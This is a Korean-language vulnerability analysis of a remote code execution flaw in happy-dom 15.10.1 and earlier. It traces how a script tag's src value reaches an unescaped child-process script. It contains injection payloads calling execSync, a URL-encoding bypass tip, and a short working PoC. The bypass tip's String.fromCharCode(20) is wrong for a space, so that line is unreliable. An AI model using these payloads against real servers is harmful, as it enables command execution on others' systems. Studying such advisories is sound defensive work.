Overview
happy-dom은 Node.js 환경에서 브라우저의 DOM을 에뮬레이션하는 DOM 구현 라이브러리입니다. 해당 취약점은 happy-dom 15.10.1 이하 버전에서 발생하며, <script> 태그가 포함된 dom을 parsing할 때 src 값에 임의의 코드가 삽입되었을 경우 Node.js 서버 환경에서 해당 코드가 실행되는 취약점입니다.
Analysis
특정 DOM 문자열을 가져와서 happy-dom Window 객체의 Document에 write() 메소드로 Dom을 작성할 때 <script> 태그가 포함되어 있고 src 속성이 존재할 경우 happy-dom 라이브러리 HTMLScriptElement 클래스의 LoadScript 메소드가 호출되어 해당 source의 script를 Load합니다.
/**
* @override
*/
public override [PropertySymbol.connectedToDocument](): void {
const browserSettings = new WindowBrowserContext(this[PropertySymbol.window]).getSettings();
super[PropertySymbol.connectedToDocument]();
if (this[PropertySymbol.evaluateScript]) {
const src = this.getAttribute('src');
if (src !== null) {
this.#loadScript(src);
LoadScript는 아래와 같이 구현되어 있으며, 비동기 실행 스크립트가 아닐 경우, ResourceFetch 클래스의 fetchSync 메소드를 호출하여 동기식 요청을 수행합니다.
async #loadScript(url: string): Promise<void> {
const window = this[PropertySymbol.window];
const browserFrame = new WindowBrowserContext(window).getBrowserFrame();
const async = this.getAttribute('async') !== null;
if (!browserFrame) {
return;
}
const browserSettings = browserFrame.page?.context?.browser?.settings;
if (!url || !this[PropertySymbol.isConnected]) {
return;
}
let absoluteURL: string;
try {
absoluteURL = new URL(url, this[PropertySymbol.window].location.href).href;
} catch (error) {
return;
}
if (this.#loadedScriptURL === absoluteURL) {
return;
}
if (
browserSettings &&
(browserSettings.disableJavaScriptFileLoading || browserSettings.disableJavaScriptEvaluation)
) {
if (browserSettings.handleDisabledFileLoadingAsSuccess) {
this.dispatchEvent(new Event('load'));
} else {
WindowErrorUtility.dispatchError(
this,
new window.DOMException(
`Failed to load external script "${absoluteURL}". JavaScript file loading is disabled.`,
DOMExceptionNameEnum.notSupportedError
)
);
}
return;
}
const resourceFetch = new ResourceFetch({
browserFrame,
window: this[PropertySymbol.window]
});
let code: string | null = null;
let error: Error | null = null;
this.#loadedScriptURL = absoluteURL;
if (async) {
const readyStateManager = (<
{ [PropertySymbol.readyStateManager]: DocumentReadyStateManager }
>(<unknown>this[PropertySymbol.window]))[PropertySymbol.readyStateManager];
readyStateManager.startTask();
try {
code = await resourceFetch.fetch(absoluteURL);
} catch (e) {
error = e;
}
readyStateManager.endTask();
} else {
try {
#########################################
code = resourceFetch.fetchSync(absoluteURL);
#########################################
} catch (e) {
error = e;
}
}
if (error) {
WindowErrorUtility.dispatchError(this, error);
} else {
this[PropertySymbol.ownerDocument][PropertySymbol.currentScript] = this;
code = '//# sourceURL=' + absoluteURL + '\n' + code;
if (
browserSettings.disableErrorCapturing ||
browserSettings.errorCapture !== BrowserErrorCaptureEnum.tryAndCatch
) {
this[PropertySymbol.window].eval(code);
} else {
WindowErrorUtility.captureError(this[PropertySymbol.window], () =>
this[PropertySymbol.window].eval(code)
);
}
this[PropertySymbol.ownerDocument][PropertySymbol.currentScript] = null;
this.dispatchEvent(new Event('load'));
}
}
fetchSync 메소드는 SyncFetch 클래스의 send 메소드를 호출하게 됩니다.
/**
* Returns resource data synchronously.
*
* @param url URL.
* @returns Response.
*/
public fetchSync(url: string): string {
const fetch = new SyncFetch({
browserFrame: this.#browserFrame,
window: this.window,
url,
disableCrossOriginPolicy: true
});
###########################
const response = fetch.send();
###########################
if (!response.ok) {
throw new this.window.DOMException(
`Failed to perform request to "${new URL(url, this.window.location.href).href}". Status ${
response.status
} ${response.statusText}.`
);
}
return response.body.toString();
}
send 메소드는 같은 클래스의 sendRequest 메소드의 실행 결과를 반환하는데, 이 때 sendRequest 메소드에서 ChildProcess를 호출하고 execFileSync 메소드를 통해서 해당 스크립트를 동기적으로 Server-Side에서 실행합니다.
이 때, SyncFetchScriptBiulder 클래스의 getScript 메소드를 호출하여 반환값을 script 변수에 저장하는데, 여기서 취약점이 발생하게 됩니다.
/**
* Sends request.
*
* @returns Response.
*/
public send(): ISyncResponse {
FetchRequestReferrerUtility.prepareRequest(new URL(this.#window.location.href), this.request);
FetchRequestValidationUtility.validateSchema(this.request);
if (this.request.signal.aborted) {
throw new this.#window.DOMException(
'The operation was aborted.',
DOMExceptionNameEnum.abortError
);
}
if (this.request[PropertySymbol.url].protocol === 'data:') {
const result = DataURIParser.parse(this.request.url);
return {
status: 200,
statusText: 'OK',
ok: true,
url: this.request.url,
redirected: false,
headers: new Headers({ 'Content-Type': result.type }),
body: result.buffer
};
}
// Security check for "https" to "http" requests.
if (
this.request[PropertySymbol.url].protocol === 'http:' &&
this.#window.location.protocol === 'https:'
) {
throw new this.#window.DOMException(
`Mixed Content: The page at '${this.#window.location.href}' was loaded over HTTPS, but requested an insecure XMLHttpRequest endpoint '${this.request.url}'. This request has been blocked; the content must be served over HTTPS.`,
DOMExceptionNameEnum.securityError
);
}
const cachedResponse = this.getCachedResponse();
if (cachedResponse) {
return cachedResponse;
}
if (!this.compliesWithCrossOriginPolicy()) {
this.#window.console.warn(
`Cross-Origin Request Blocked: The Same Origin Policy disallows reading the remote resource at "${this.request.url}".`
);
throw new this.#window.DOMException(
`Cross-Origin Request Blocked: The Same Origin Policy disallows reading the remote resource at "${this.request.url}".`,
DOMExceptionNameEnum.networkError
);
}
return this.sendRequest();
}
...
public sendRequest(): ISyncResponse {
if (!this.request[PropertySymbol.bodyBuffer] && this.request.body) {
throw new this.#window.DOMException(
`Streams are not supported as request body for synchrounous requests.`,
DOMExceptionNameEnum.notSupportedError
);
}
##################################################
const script = SyncFetchScriptBuilder.getScript({
##################################################
url: this.request[PropertySymbol.url],
method: this.request.method,
headers: FetchRequestHeaderUtility.getRequestHeaders({
browserFrame: this.#browserFrame,
window: this.#window,
request: this.request,
baseHeaders: this.#unfilteredHeaders
}),
body: this.request[PropertySymbol.bodyBuffer]
});
// Start the other Node Process, executing this string
#################### Server-Side 코드 실행이 가능한 이유 ####################
const content = ChildProcess.execFileSync(process.argv[0], ['-e', script], {
encoding: 'buffer',
maxBuffer: 1024 * 1024 * 1024 // TODO: Consistent buffer size: 1GB.
});
############################################################################
...
getScript 메소드를 보면 Node.js 코드를 문자열로 반환합니다. 그런데 sendRequest('${request.url.href}', options ...) 부분을 보면 url 값에 추가로 작음 따옴표를 붙여주어 URL을 벗어나서 추가로 코드를 작성하여 Server-Side에서 실행될 수 있게 됩니다.
따라서 만약 dom에 <script src="https://localhost:8080/'+require('child_process').execSync('whoami')+'"></script>가 포함되어있을 경우, Server-Side에서 whoami 명령어를 실행한 후에 sendRequest('URL'+whoami 실행 결과+'', options ...) 가 실행됩니다. 만약 whoami 명령어의 실행결과가 root일 경우, https://localhost:8080/root로 request를 전송하게 됩니다.
public static getScript(request: {
url: URL;
method: string;
headers: { [name: string]: string };
body?: Buffer | null;
}): string {
const sortedHeaders = {};
const headerNames = Object.keys(request.headers).sort();
for (const name of headerNames) {
sortedHeaders[name] = request.headers[name];
}
return `
const sendRequest = require('http${
request.url.protocol === 'https:' ? 's' : ''
}').request;
const options = ${JSON.stringify(
{
method: request.method,
headers: sortedHeaders,
agent: false,
rejectUnauthorized: true,
key: request.url.protocol === 'https:' ? FetchHTTPSCertificate.key : undefined,
cert: request.url.protocol === 'https:' ? FetchHTTPSCertificate.cert : undefined
},
null,
4
)};
############################################################################
const request = sendRequest('${request.url.href}', options, (incomingMessage) => {
############################################################################
let data = Buffer.alloc(0);
incomingMessage.on('data', (chunk) => {
data = Buffer.concat([data, Buffer.from(chunk)]);
});
incomingMessage.on('end', () => {
console.log(JSON.stringify({
error: null,
incomingMessage: {
statusCode: incomingMessage.statusCode,
statusMessage: incomingMessage.statusMessage,
rawHeaders: incomingMessage.rawHeaders,
data: data.toString('base64')
}
}));
});
incomingMessage.on('error', (error) => {
console.log(JSON.stringify({ error: error.message, incomingMessage: null }));
});
});
request.write(Buffer.from('${
request.body ? request.body.toString('base64') : ''
}', 'base64'));
request.end();
`;
}
해당 취약점은 src의 값을 제대로 이스케이프 처리하지 않아 발생하는 취약점입니다. 또한 위에서 코드 실행의 예시로 '+require('child_process').execSync('whoami')+'를 사용하였는데, 해당 입력값은 우선 URL로 인식되기 때문에 URL 인코딩 처리가 이루어집니다. 따라서 cat flag와 같이 실행하려는 명령어에 스페이스가 포함되면 cat%20flag로 변경되어서 제대로 명령어가 실행되지 않습니다. execSync('cat'+String.fromCharCode(20)+'flag')과 같이 작성하면 URL 인코딩을 우회하여 명령어를 실행시킬 수 있습니다.
PoC
const { Window } = require("happy-dom");
const window = new Window();
const document = window.document;
document.write(`<script src="https://localhost:8080/'+require('child_process').execSync('id')+'"></script>`);
Mitigation
happy-dom의 15.10.2 이상의 버전을 사용하면 됩니다.